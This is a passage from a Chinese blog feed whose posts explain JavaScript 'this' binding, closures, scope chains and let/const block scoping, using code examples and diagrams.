</span></span><span>},</span></div></div><div><div><div>11</div></div><div><span>};</span></div></div><div><div><div>12</div></div><div><span><span>myObj</span><span>.</span></span><span>showThis</span><span>();</span></div></div><div><div><div>13</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span><span>(</span><span>myObj</span><span>.</span></span><span>name</span><span>);</span></div></div><div><div><div>14</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span><span>(</span><span>window</span><span>.</span></span><span>name</span><span>);</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>这样同样达到了我们想要的嵌套函数获取到最外层对象的目的。这是因为 ES6 中的箭头函数并不会创建执行上下文，也就代表着箭头函数没有自己的 this，箭头函数的 this 会从其外部函数获取。</p><p>想要让嵌套函数获取最外层对象，总结就是两种方式</p><ul>
<li>可以将外层函数的 this 保存成变量，让嵌套的函数获取该变量</li>
<li>可以将嵌套函数写成箭头函数，让其去获取外层函数的 this</li>
</ul></section><section><h3>2.普通函数的 this 默认指向全局对象 window<a href="#2普通函数的-this-默认指向全局对象-window"><span>#</span></a></h3><p>上文有</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function</span><span> </span><span>foo</span><span>() {</span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>this</span><span>);</span></div></div><div><div><div>3</div></div><div><span>}</span></div></div><div><div><div>4</div></div><div><span>foo</span><span>();</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>就是这样会输出 window 对象。</p><p>在实际工作中，我们并不希望函数的执行上下文中的 this 默认指向全局对象，这样会造成一些误操作。<strong>如果要让函数执行上下文中的 this 指向某个对象，最好的方式是通过 call 方法来调用</strong>。</p><p><strong>在 JavaScript 严格模式下也可以解决，默认执行一个函数，其函数执行上下文中的 this 值是 undefined</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>"use strict"</span><span>;</span></div></div><div><div><div>2</div></div><div><span>function</span><span> </span><span>foo</span><span>() {</span></div></div><div><div><div>3</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>this</span><span>);</span></div></div><div><div><div>4</div></div><div><span>}</span></div></div><div><div><div>5</div></div><div><span>foo</span><span>(); </span><span>//undefined</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>一个问题，想实现 updateInfo 可以改变 userInfo,这段代码有什么问题</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>let</span><span><span> </span><span>userInfo</span><span> </span></span><span>=</span><span> {</span></div></div><div><div><div>2</div></div><div><span>  </span><span>name</span><span>:</span><span> </span><span>"jack.ma"</span><span>,</span></div></div><div><div><div>3</div></div><div><span>  </span><span>age</span><span>:</span><span> </span><span>13</span><span>,</span></div></div><div><div><div>4</div></div><div><span>  </span><span>sex</span><span>:</span><span><span> </span><span>male</span><span>,</span></span></div></div><div><div><div>5</div></div><div><span>  </span><span>updateInfo</span><span>:</span><span> </span><span>function</span><span> () {</span></div></div><div><div><div>6</div></div><div><span>    </span><span>//模拟xmlhttprequest请求延时</span></div></div><div><div><div>7</div></div><div><span>    </span><span>setTimeout</span><span>(</span><span>function</span><span> () {</span></div></div><div><div><div>8</div></div><div><span>      </span><span>this</span><span>.</span><span>name</span><span> </span><span>=</span><span> </span><span>"pony.ma"</span><span>;</span></div></div><div><div><div>9</div></div><div><span>      </span><span>this</span><span>.</span><span>age</span><span> </span><span>=</span><span> </span><span>39</span><span>;</span></div></div><div><div><div>10</div></div><div><span>      </span><span>this</span><span>.</span><span>sex</span><span> </span><span>=</span><span><span> </span><span>female</span><span>;</span></span></div></div><div><div><div>11</div></div><div><span><span>    </span></span><span>}, </span><span>100</span><span>);</span></div></div><div><div><div>12</div></div><div><span><span>  </span></span><span>},</span></div></div><div><div><div>13</div></div><div><span>};</span></div></div><div><div><div>14</div></div><div>
</div></div><div><div><div>15</div></div><div><span><span>userInfo</span><span>.</span></span><span>updateInfo</span><span>();</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>问题在于 setTimeout 里的回调函数还是嵌套函数，需要改成箭头函数，这样才能找到正确的 this 值。</p><p>学自：<a href="https://time.geekbang.org/column/article/128427" target="_blank">https://time.geekbang.org/column/article/128427</a></p></section></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/frontend/javascript/closure/</id>
      <title type="text">闭包解析</title>
      <published>2021-11-02T00:00:00.000Z</published>
      <updated>2021-11-02T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/frontend/javascript/closure/"/>
      <summary type="text">本文主要是从两个方面解析闭包：作用域、内存</summary>
      <content type="html"><![CDATA[<p>本文主要是从两个方面解析闭包：作用域、内存</p>
<section><h2>作用域角度理解闭包<a href="#作用域角度理解闭包"><span>#</span></a></h2><p><strong>闭包产生的本质是当前环境中存在指向父级作用域的引用。</strong></p><p>要理解闭包的话需要你理解变量环境，词法环境和作用域链的概念。</p><p>上一段代码</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function</span><span> </span><span>foo</span><span>() {</span></div></div><div><div><div>2</div></div><div><span>  </span><span>var</span><span><span> </span><span>myName</span><span> </span></span><span>=</span><span> </span><span>"极客时间"</span><span>;</span></div></div><div><div><div>3</div></div><div><span>  </span><span>let</span><span><span> </span><span>test1</span><span> </span></span><span>=</span><span> </span><span>1</span><span>;</span></div></div><div><div><div>4</div></div><div><span>  </span><span>const</span><span> </span><span>test2</span><span> </span><span>=</span><span> </span><span>2</span><span>;</span></div></div><div><div><div>5</div></div><div><span>  </span><span>var</span><span><span> </span><span>innerBar</span><span> </span></span><span>=</span><span> {</span></div></div><div><div><div>6</div></div><div><span>    </span><span>getName</span><span>:</span><span> </span><span>function</span><span> () {</span></div></div><div><div><div>7</div></div><div><span><span>      </span></span><span>console</span><span>.</span><span>log</span><span><span>(</span><span>test1</span><span>);</span></span></div></div><div><div><div>8</div></div><div><span>      </span><span>return</span><span><span> </span><span>myName</span><span>;</span></span></div></div><div><div><div>9</div></div><div><span><span>    </span></span><span>},</span></div></div><div><div><div>10</div></div><div><span>    </span><span>setName</span><span>:</span><span> </span><span>function</span><span><span> (</span><span>newName</span><span>) {</span></span></div></div><div><div><div>11</div></div><div><span><span>      </span></span><span>myName</span><span> </span><span>=</span><span><span> </span><span>newName</span><span>;</span></span></div></div><div><div><div>12</div></div><div><span><span>    </span></span><span>},</span></div></div><div><div><div>13</div></div><div><span><span>  </span></span><span>};</span></div></div><div><div><div>14</div></div><div><span>  </span><span>return</span><span><span> </span><span>innerBar</span><span>;</span></span></div></div><div><div><div>15</div></div><div><span>}</span></div></div><div><div><div>16</div></div><div><span>var</span><span><span> </span><span>bar</span><span> </span></span><span>=</span><span> </span><span>foo</span><span>();</span></div></div><div><div><div>17</div></div><div><span><span>bar</span><span>.</span></span><span>setName</span><span>(</span><span>"极客邦"</span><span>);</span></div></div><div><div><div>18</div></div><div><span><span>bar</span><span>.</span></span><span>getName</span><span>();</span></div></div><div><div><div>19</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span><span>(</span><span>bar</span><span>.</span></span><span>getName</span><span>());</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>当执行到 return innerBar 的时候调用栈是什么样</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210807210534064.png" alt="image-20210807210534064.png" /><figcaption>image-20210807210534064.png</figcaption></figure><p></p><p>由代码可知 innerBar 是一个对象，包含了 getName 和 setName 两个方法，这两个方法都是在 foo 函数内部定义的，这两个方法使用了 myName 和 test1 这两个变量。</p><p><strong>根据词法作用域的规则，内部函数 getName 和 setName 总是可以访问它们的外部函数 foo 中的变量</strong>，所以当 innerBar 对象返回给全局变量 bar 的时候，虽然此时 foo 函数以及执行完毕，但是 getName 和 setName 函数还是可以使用 foo 函数中的变量 myName 和 test1。所以当 foo 执行完毕后，调用栈变成了：</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210807211401970.png" alt="image-20210807211401970.png" /><figcaption>image-20210807211401970.png</figcaption></figure><p></p><p>可以看到 foo 执行完毕，他的执行上下文弹出了，可是留下了一坨东西，两函数用到的这两个变量依然还在内存中，就好像是专门为 setName 和 getName 准备的一个专属背包(这个背包里放的是这两个函数用到的，没用到的比如 test2 就没有)，无论在哪里调用了 setName 和 getName，他们都会从这个背包里拿东西和操作。这个专属背包，除了 setName 和 getName 之外其他地方是无法访问的，可以把这个背包称为 foo 函数的闭包。</p><p>那闭包是如何使用的，当执行到 bar.setName 方法中的 myName = “极客邦”的时候，JavaScript 会沿着<strong>当前 setName 的执行上下文-&gt;foo 的闭包-&gt;全局执行上下文</strong>的顺序来查找 myName 变量。此时调用栈如下图</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210807221122271.png" alt="image-20210807221122271.png" /><figcaption>image-20210807221122271.png</figcaption></figure><p></p><p>当然 getName 也是从 foo 闭包中获取。</p><p>从开发者工具中也能查看到闭包的情况</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210807221706655.png" alt="image-20210807221706655.png" /><figcaption>image-20210807221706655.png</figcaption></figure><p></p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210807221756546.png" alt="image-20210807221756546.png" /><figcaption>image-20210807221756546.png</figcaption></figure><p></p><p>Global 代表全局执行上下文，<strong>Scope 中体现的就是作用域链</strong>，从上到下。</p><p>结论&lt;可以给闭包下一个定义了&gt;。<strong>在 JavaScript 中，根据词法作用域的规则，内部函数总是可以访问外部函数中声明的变量，当通过调用一个外部函数返回内部函数后，即使外部函数执行完毕，但是内部函数引用外部函数的变量依然保存在内存中，我们把这些变量的集合称为闭包，比如外部函数是 foo 函数，那这些变量的集合就称为 foo 函数的闭包</strong>。</p><p>那闭包该如何回收呢？什么时候闭包才会被销毁，因为闭包如果使用不正确，很容易造成内存泄漏的，通常，如果引用闭包的函数是一个全局变量，那么闭包会一直存在直到页面关闭；但如果这个闭包以后不再使用的话，就会造成内存泄漏。</p><blockquote><p>内存泄漏：程序中已动态分配的堆内存由于某种原因程序未释放或无法释放，造成系统内存的浪费，导致程序运行速度减慢甚至系统崩溃等严重后果。</p></blockquote><p>解决方法：<strong>如果引用闭包的函数是局部变量，等函数销毁之后，下次 JavaScript 引擎执行垃圾回收的时候，判断闭包这部分不使用了，JavaScript 引擎的垃圾回收期就会回收这块内存</strong>。</p></section>
<section><h2>内存角度讲解闭包<a href="#内存角度讲解闭包"><span>#</span></a></h2><p><strong>作用域内的原始类型数据会被存储到栈空间，引用类型则会被存储到堆空间。</strong></p><p>引例</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function</span><span> </span><span>foo</span><span>() {</span></div></div><div><div><div>2</div></div><div><span>  </span><span>var</span><span><span> </span><span>myName</span><span> </span></span><span>=</span><span> </span><span>"极客时间"</span><span>;</span></div></div><div><div><div>3</div></div><div><span>  </span><span>let</span><span><span> </span><span>test1</span><span> </span></span><span>=</span><span> </span><span>1</span><span>;</span></div></div><div><div><div>4</div></div><div><span>  </span><span>const</span><span> </span><span>test2</span><span> </span><span>=</span><span> </span><span>2</span><span>;</span></div></div><div><div><div>5</div></div><div><span>  </span><span>var</span><span><span> </span><span>innerBar</span><span> </span></span><span>=</span><span> {</span></div></div><div><div><div>6</div></div><div><span>    </span><span>setName</span><span>:</span><span> </span><span>function</span><span><span> (</span><span>newName</span><span>) {</span></span></div></div><div><div><div>7</div></div><div><span><span>      </span></span><span>myName</span><span> </span><span>=</span><span><span> </span><span>newName</span><span>;</span></span></div></div><div><div><div>8</div></div><div><span><span>    </span></span><span>},</span></div></div><div><div><div>9</div></div><div><span>    </span><span>getName</span><span>:</span><span> </span><span>function</span><span> () {</span></div></div><div><div><div>10</div></div><div><span><span>      </span></span><span>console</span><span>.</span><span>log</span><span><span>(</span><span>test1</span><span>);</span></span></div></div><div><div><div>11</div></div><div><span>      </span><span>return</span><span><span> </span><span>myName</span><span>;</span></span></div></div><div><div><div>12</div></div><div><span><span>    </span></span><span>},</span></div></div><div><div><div>13</div></div><div><span><span>  </span></span><span>};</span></div></div><div><div><div>14</div></div><div><span>  </span><span>return</span><span><span> </span><span>innerBar</span><span>;</span></span></div></div><div><div><div>15</div></div><div><span>}</span></div></div><div><div><div>16</div></div><div><span>var</span><span><span> </span><span>bar</span><span> </span></span><span>=</span><span> </span><span>foo</span><span>();</span></div></div><div><div><div>17</div></div><div><span><span>bar</span><span>.</span></span><span>setName</span><span>(</span><span>"极客邦"</span><span>);</span></div></div><div><div><div>18</div></div><div><span><span>bar</span><span>.</span></span><span>getName</span><span>();</span></div></div><div><div><div>19</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span><span>(</span><span>bar</span><span>.</span></span><span>getName</span><span>());</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><section><h4>首先盘一下执行流程<a href="#首先盘一下执行流程"><span>#</span></a></h4><ol>
<li>
<p>首先先创建全局执行上下文并压入调用栈中</p>
<ul>
<li>全局执行上下文
<ul>
<li>变量环境：bar = undefined foo(){…}</li>
<li>词法环境：空</li>
</ul>
</li>
</ul>
</li>
<li>
<p>执行 foo，将返回的 innerBar 给 bar</p>
<ol>
<li>
<p>执行前首先会编译 foo 函数。创建一个空的执行上下文。</p>
</li>
<li>
<p>JavaScript 引擎对 foo 的内部函数做一次词法扫描，首先是 setName 函数，发现函数内部引用了 foo 函数的 myName，由于是内部函数引用了外部函数的变量，因此 JavaScript 引擎判断这是一个闭包，因此就会在堆空间中创建一个“closure(foo)”指向的对象（这是一个内部对象，JavaScript 是无法访问的）</p>
</li>
<li>
<p>接着到另一个内部函数 getName，JS 引擎接着词法扫描，发现这个内部函数还引用了外部的 foo 函数的 test1，于是 JS 引擎又将 test1 添加到了“closure(foo)”对象中，这时候堆中的“closure(foo)”对象包含了 myName 和 test1 两个变量。</p>
</li>
<li>
<p>由于 test2 并没有被内部函数引用，所以 test2 依然保存在调用栈中 foo 执行上下文的词法环境中。</p>
<p>此时的 foo 执行上下文</p>
</li>
</ol>
</li>
</ol><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210811234914948.png" alt="image-20210811234914948.png" /><figcaption>image-20210811234914948.png</figcaption></figure><p></p><ol>
<li>当 return 返回对象 innerBar 之后，foo 的执行上下文弹出调用栈，但是由于返回的对象 innerBar 存在指向其父级作用域的引用，产生了闭包 closure(foo)，还依然存在在堆空间中。</li>
<li>所以当执行到<code>bar.setName("极客邦");bar.getName();</code>依然可以访问到 closure(foo)这个闭包对象里的属性。</li>
</ol></section><section><h4>总结<a href="#总结"><span>#</span></a></h4><p>产生闭包的核心有两步：</p><p>第一步是需要预扫描内部函数；</p><p>第二步是把内部函数引用的外部变量保存到堆中。</p><p>当前环境存在指向父级作用域的引用。也就是子函数用到了父级作用域链上的东西。</p></section></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/frontend/javascript/scope_chain/</id>
      <title type="text">作用域链查找</title>
      <published>2021-11-02T00:00:00.000Z</published>
      <updated>2021-11-02T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/frontend/javascript/scope_chain/"/>
      <summary type="text">词法作用域就是根据函数的声明位置来决定的，所以词法作用域是静态作用域。</summary>
      <content type="html"><![CDATA[<section><h3>词法作用域<a href="#词法作用域"><span>#</span></a></h3><p><strong>词法作用域就是根据函数的声明位置来决定的，所以词法作用域是静态作用域。</strong></p><p><strong>在每个执行上下文的变量环境中，都包含了一个外部引用，用来指向外部的执行上下文，我们把这个外部引用称为 outer</strong>。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function</span><span> </span><span>bar</span><span>() {</span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span><span>(</span><span>myName</span><span>);</span></span></div></div><div><div><div>3</div></div><div><span>}</span></div></div><div><div><div>4</div></div><div><span>function</span><span> </span><span>foo</span><span>() {</span></div></div><div><div><div>5</div></div><div><span>  </span><span>var</span><span><span> </span><span>myName</span><span> </span></span><span>=</span><span> </span><span>"极客邦"</span><span>;</span></div></div><div><div><div>6</div></div><div><span>  </span><span>bar</span><span>();</span></div></div><div><div><div>7</div></div><div><span>}</span></div></div><div><div><div>8</div></div><div><span>var</span><span><span> </span><span>myName</span><span> </span></span><span>=</span><span> </span><span>"极客时间"</span><span>;</span></div></div><div><div><div>9</div></div><div><span>foo</span><span>();</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>这段代码中函数执行上下文通过 outer 指向的执行上下文找 myName</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210808153718973.png" alt="image-20210808153718973.png" /><figcaption>image-20210808153718973.png</figcaption></figure><p></p><p>下面这个函数你认为应该输出 Q 还是 A 呢？</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>//例1</span></div></div><div><div><div>2</div></div><div><span>function</span><span> </span><span>bar</span><span>() {</span></div></div><div><div><div>3</div></div><div><span>  </span><span>return</span><span><span> </span><span>myName</span><span>;</span></span></div></div><div><div><div>4</div></div><div><span>}</span></div></div><div><div><div>5</div></div><div><span>function</span><span> </span><span>foo</span><span>() {</span></div></div><div><div><div>6</div></div><div><span>  </span><span>var</span><span><span> </span><span>myName</span><span> </span></span><span>=</span><span> </span><span>"Q"</span><span>;</span></div></div><div><div><div>7</div></div><div><span>  </span><span>return</span><span> </span><span>bar</span><span>();</span></div></div><div><div><div>8</div></div><div><span>}</span></div></div><div><div><div>9</div></div><div><span>var</span><span><span> </span><span>myName</span><span> </span></span><span>=</span><span> </span><span>"A"</span><span>;</span></div></div><div><div><div>10</div></div><div><span>foo</span><span>();</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>那再换一种写法,这个该输出 Q 还是 A 呢？</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>//例2</span></div></div><div><div><div>2</div></div><div><span>function</span><span> </span><span>foo</span><span>() {</span></div></div><div><div><div>3</div></div><div><span>  </span><span>var</span><span><span> </span><span>myName</span><span> </span></span><span>=</span><span> </span><span>"Q"</span><span>;</span></div></div><div><div><div>4</div></div><div><span>  </span><span>function</span><span> </span><span>bar</span><span>() {</span></div></div><div><div><div>5</div></div><div><span>    </span><span>return</span><span><span> </span><span>myName</span><span>;</span></span></div></div><div><div><div>6</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>7</div></div><div><span>  </span><span>return</span><span> </span><span>bar</span><span>();</span></div></div><div><div><div>8</div></div><div><span>}</span></div></div><div><div><div>9</div></div><div><span>var</span><span><span> </span><span>myName</span><span> </span></span><span>=</span><span> </span><span>"A"</span><span>;</span></div></div><div><div><div>10</div></div><div><span>foo</span><span>();</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>答案是例 1 输出 A，例 2 输出 Q。为什么会这样呢，可以看到两段代码最主要的区别就是 function bar 的声明位置。这里需要引入一个概念叫做词法作用域，词法作用域决定了作用域链，作用域链就是函数查找变量的一条链子。</p><p><strong>词法作用域</strong>：词法作用域是指作用域是由代码中函数声明的位置(对应上面也就是 bar()的声明位置)决定的，因此词法作用域是静态的作用域，通过它就可以预测代码在执行过程中如何查找标识符(在上面的意思就是如何找变量 myName)</p><p>什么叫根据函数声明的位置决定函数的作用域，就拿例 2 来说</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210802222856007.png" alt="image-20210802222856007.png" /><figcaption>image-20210802222856007.png</figcaption></figure><p></p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210802223957303.png" alt="image-20210802223957303.png" /><figcaption>image-20210802223957303.png</figcaption></figure><p></p><p>bar 的函数作用域就是粉色框部分，而 foo 的函数作用域就是蓝色框部分，而全局作用域则是红色框框起来的部分。作用域链为上图</p><p>再来分析例 1</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210802223232200.png" alt="image-20210802223232200.png" /><figcaption>image-20210802223232200.png</figcaption></figure><p></p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210802223914770.png" alt="image-20210802223914770.png" /><figcaption>image-20210802223914770.png</figcaption></figure><p></p><p>bar 作用域依旧是粉色，foo 作用域依旧是蓝色，全局作用域是红色，但是，此时 bar 已经不是在 foo 中定义的了，因此作用域链跟上面不同了。</p><p><strong>作用域链</strong>就是函数查找变量的链路，这也就解释了为什么例 1 会输出 A，因为 bar 先找自己发现没有 myName，就直接去全局作用域找的。而例 2 输出 Q 是因为 bar 是在 foo 作用域中先找的，找到然后就输出，当然如果例 2 中 foo 中没有找到就会沿着作用域链找到全局作用域中的 myName，检验一下</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function</span><span> </span><span>bar</span><span>() {</span></div></div><div><div><div>2</div></div><div><span>  </span><span>return</span><span><span> </span><span>myName</span><span>;</span></span></div></div><div><div><div>3</div></div><div><span>}</span></div></div><div><div><div>4</div></div><div><span>function</span><span> </span><span>foo</span><span>() {</span></div></div><div><div><div>5</div></div><div><span>  </span><span>return</span><span> </span><span>bar</span><span>();</span></div></div><div><div><div>6</div></div><div><span>}</span></div></div><div><div><div>7</div></div><div><span>var</span><span><span> </span><span>myName</span><span> </span></span><span>=</span><span> </span><span>"A"</span><span>;</span></div></div><div><div><div>8</div></div><div><span>foo</span><span>(); </span><span>//A</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>结论：再次强调词法作用域是根据函数声明位置决定的，也就是说<strong>词法作用域是在代码编译阶段就决定好的，和函数的调用位置没有关系</strong>。</p></section>
<section><h3>块级作用域中的变量查找<a href="#块级作用域中的变量查找"><span>#</span></a></h3><p>看一段代码</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function</span><span> </span><span>bar</span><span>() {</span></div></div><div><div><div>2</div></div><div><span>  </span><span>var</span><span><span> </span><span>myName</span><span> </span></span><span>=</span><span> </span><span>"极客世界"</span><span>;</span></div></div><div><div><div>3</div></div><div><span>  </span><span>let</span><span><span> </span><span>test1</span><span> </span></span><span>=</span><span> </span><span>100</span><span>;</span></div></div><div><div><div>4</div></div><div><span>  </span><span>if</span><span> (</span><span>1</span><span>) {</span></div></div><div><div><div>5</div></div><div><span>    </span><span>let</span><span><span> </span><span>myName</span><span> </span></span><span>=</span><span> </span><span>"Chrome浏览器"</span><span>;</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>console</span><span>.</span><span>log</span><span><span>(</span><span>test</span><span>);</span></span></div></div><div><div><div>7</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>8</div></div><div><span>}</span></div></div><div><div><div>9</div></div><div><span>function</span><span> </span><span>foo</span><span>() {</span></div></div><div><div><div>10</div></div><div><span>  </span><span>var</span><span><span> </span><span>myName</span><span> </span></span><span>=</span><span> </span><span>"极客邦"</span><span>;</span></div></div><div><div><div>11</div></div><div><span>  </span><span>let</span><span><span> </span><span>test</span><span> </span></span><span>=</span><span> </span><span>2</span><span>;</span></div></div><div><div><div>12</div></div><div><span><span>  </span></span><span>{</span></div></div><div><div><div>13</div></div><div><span>    </span><span>let</span><span><span> </span><span>test</span><span> </span></span><span>=</span><span> </span><span>3</span><span>;</span></div></div><div><div><div>14</div></div><div><span>    </span><span>bar</span><span>();</span></div></div><div><div><div>15</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>16</div></div><div><span>}</span></div></div><div><div><div>17</div></div><div><span>var</span><span><span> </span><span>myName</span><span> </span></span><span>=</span><span> </span><span>"极客时间"</span><span>;</span></div></div><div><div><div>18</div></div><div><span>let</span><span><span> </span><span>myAge</span><span> </span></span><span>=</span><span> </span><span>10</span><span>;</span></div></div><div><div><div>19</div></div><div><span>let</span><span><span> </span><span>test</span><span> </span></span><span>=</span><span> </span><span>1</span><span>;</span></div></div><div><div><div>20</div></div><div><span>foo</span><span>();</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>压入全局上下文：变量环境 var myName = “极客时间” 词法环境 test = 1 myAge = 10</p><p>执行 foo()</p><p>压入 foo 执行上下文 : 变量环境 myName = “极客邦” 词法环境 test = 2 test = 3 叠在上层(后压入的，执行完块({}包裹的代码)就被弹出)</p><p>执行 bar()</p><p>压入 bar 执行上下文：变量环境 myName = “极客世界” 词法环境 test1 = 100 myName = “Chrome 浏览器”(if 代码块后压入)</p><p>查找过程 1，2，3，4，5，先找当前作用域下的词法环境，然后是变量环境，父作用域的词法环境，变量环境。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210807203022977.png" alt="image-20210807203022977.png" /><figcaption>image-20210807203022977.png</figcaption></figure><p></p><p>输出结果为 1，因为 bar 的作用域链就是 bar-&gt;全局。</p></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/frontend/javascript/let_const/</id>
      <title type="text">let 和 const 以及作用域</title>
      <published>2021-10-29T00:00:00.000Z</published>
      <updated>2021-10-29T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/frontend/javascript/let_const/"/>
      <summary type="text">在 ES6 以前，ES 的作用域只有两种：全局作用域和函数作用域。ES6 出现后，又新增了块级作用域。</summary>
      <content type="html"><![CDATA[<p>在 ES6 以前，ES 的作用域只有两种：全局作用域和函数作用域。ES6 出现后，又新增了块级作用域。</p>
<ul>
<li>全局作用域中的对象在代码中的任何地方都能访问，其生命周期伴随着页面的生命周期。</li>
<li>函数作用域就是在函数内部定义的变量或者函数，并且定义的变量或者函数只能在函数内部被访问。函数执行结束之后，函数内部定义的变量会被销毁。</li>
<li>块级作用域就是使用一对大括号包裹的一段代码，比如函数、判断语句、循环语句，甚至单独的一个{}都可以被看作是一个块级作用域。</li>
</ul>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>//if块</span></div></div><div><div><div>2</div></div><div><span>if</span><span> (</span><span>1</span><span>) {</span></div></div><div><div><div>3</div></div><div><span>}</span></div></div><div><div><div>4</div></div><div><span>//while块</span></div></div><div><div><div>5</div></div><div><span>while</span><span> (</span><span>1</span><span>) {}</span></div></div><div><div><div>6</div></div><div><span>//函数块</span></div></div><div><div><div>7</div></div><div><span>function</span><span> </span><span>foo</span><span>() {}</span></div></div><div><div><div>8</div></div><div><span>//for循环块</span></div></div><div><div><div>9</div></div><div><span>for</span><span> (</span><span>let</span><span><span> </span><span>i</span><span> </span></span><span>=</span><span> </span><span>0</span><span><span>; </span><span>i</span><span> </span></span><span>&lt;</span><span> </span><span>100</span><span><span>; </span><span>i</span></span><span>++</span><span>) {}</span></div></div><div><div><div>10</div></div><div><span>//单独一个块</span></div></div><div><div><div>11</div></div><div><span>{</span></div></div><div><div><div>12</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<section><h3>变量提升导致变量覆盖问题<a href="#变量提升导致变量覆盖问题"><span>#</span></a></h3><p>JavaScript 的块级作用域是和其他语言不同的，变量有可能被覆盖掉</p><p>比如用 C 语言写这样一段代码</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>char</span><span>*</span><span><span> </span><span>myname</span><span> </span></span><span>=</span><span> </span><span>"极客时间"</span><span>;</span></div></div><div><div><div>2</div></div><div><span>void</span><span> </span><span>showName</span><span>() {</span></div></div><div><div><div>3</div></div><div><span>  </span><span>printf</span><span>(</span><span>"%s </span><span>\n</span><span>"</span><span><span>,</span><span>myname</span><span>);</span></span></div></div><div><div><div>4</div></div><div><span>  </span><span>if</span><span>(</span><span>0</span><span>){</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>char</span><span>*</span><span><span> </span><span>myname</span><span> </span></span><span>=</span><span> </span><span>"极客邦"</span><span>;</span></div></div><div><div><div>6</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>7</div></div><div><span>}</span></div></div><div><div><div>8</div></div><div><span><span>int</span><span> </span></span><span>main</span><span>(){</span></div></div><div><div><div>9</div></div><div><span>   </span><span>showName</span><span>();</span></div></div><div><div><div>10</div></div><div><span>   </span><span>return</span><span> </span><span>0</span><span>;</span></div></div><div><div><div>11</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>C 语言会输出极客时间，也就是外部的全局变量。可如果用 JavaScript 来实现就会出问题，代码如下</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>var</span><span><span> </span><span>myname</span><span> </span></span><span>=</span><span> </span><span>"极客时间"</span><span>;</span></div></div><div><div><div>2</div></div><div><span>function</span><span> </span><span>showName</span><span>() {</span></div></div><div><div><div>3</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span><span>(</span><span>myname</span><span>);</span></span></div></div><div><div><div>4</div></div><div><span>  </span><span>if</span><span> (</span><span>0</span><span>) {</span></div></div><div><div><div>5</div></div><div><span>    </span><span>var</span><span><span> 